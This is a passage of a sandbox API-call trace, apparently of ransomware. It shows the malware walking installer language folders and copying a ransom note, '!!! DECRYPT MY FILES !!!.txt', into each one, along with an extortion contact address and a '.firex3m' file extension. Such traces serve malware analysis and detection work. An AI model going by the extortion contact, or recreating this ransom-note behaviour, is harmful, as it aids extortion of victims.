ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.203] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.203] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1031\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 1 [0087.203] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1031\\eula.rtf") returned 0x23 [0087.203] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.203] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.203] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.203] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.203] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.203] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.203] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0087.204] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0087.204] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.553] GetProcessHeap () returned 0x630000 [0087.553] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1448 [0087.553] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.554] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1031\\eula.rtf", psz="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 1 [0087.554] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1031\\localizeddata.xml") returned 0x2c [0087.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.554] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.554] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.554] GetProcessHeap () returned 0x630000 [0087.554] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1448, Size=0x10) returned 0x6b12c8 [0087.554] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.554] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1031\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1031\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 1 [0087.554] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1031\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1031\\setupresources.dll") returned 0x2d [0087.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.555] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.555] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.555] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.555] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0087.555] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1 [0087.555] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1032\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1032\\") returned 1 [0087.555] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0087.555] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.555] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.555] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0087.556] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.556] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.557] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1032\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 1 [0087.557] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1032\\eula.rtf") returned 0x23 [0087.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.557] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.557] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.557] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0087.557] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.557] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.561] GetProcessHeap () returned 0x630000 [0087.561] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12f8, Size=0x10) returned 0x6b1340 [0087.561] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.562] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1032\\eula.rtf", psz="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 1 [0087.562] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1032\\localizeddata.xml") returned 0x2c [0087.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.562] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.562] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.562] GetProcessHeap () returned 0x630000 [0087.562] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x14) returned 0x6b0418 [0087.562] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.562] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1032\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1032\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 1 [0087.562] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1032\\setupresources.dll") returned 0x2d [0087.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.563] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.563] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.563] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.563] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.563] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.563] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1033\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1033\\") returned 1 [0087.563] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0087.563] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.563] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.563] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0087.564] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.564] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.564] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1033\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 1 [0087.564] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1033\\eula.rtf") returned 0x23 [0087.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.565] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.565] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.565] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf371c69a, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0087.565] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.565] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.570] GetProcessHeap () returned 0x630000 [0087.570] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x18) returned 0x6b04f8 [0087.570] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.570] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1033\\eula.rtf", psz="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 1 [0087.570] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1033\\localizeddata.xml") returned 0x2c [0087.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.571] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.571] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! 